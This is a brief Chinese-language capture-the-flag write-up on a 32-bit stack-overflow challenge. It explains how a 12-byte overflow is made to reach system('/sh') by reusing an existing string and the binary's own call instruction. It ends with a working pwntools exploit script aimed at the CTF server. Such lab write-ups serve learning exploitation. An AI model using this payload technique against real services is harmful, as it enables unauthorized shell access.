check
32位,开nx
main函数调用这个
好家伙,真干净
开始还没注意只能溢出个12个字节,也就是三个p32(),我还去调用read,把 '/bin/sh\x00' ,找个bss地址写进去再调用。
后来明白了,直接用它给的字符串末尾这个'/sh',这个地址也能看得出是下面这个 0x08048673-0x3
再然后,如果直接用plt地址去调用函数,需要返回地址,这就需要16个字节,长度不够了。学到一手,直接用它的 call 调用是不需要返回地址的,这就刚好了。
from pwn import *
p=remote('node4.buuoj.cn',29080)
#p=process('./pwn')
call_system=0x08048529
sh=0x08048670
payload1='a'*(0x18+4)+p32(call_system)+p32(sh)
p.send(payload1)
p.interactive()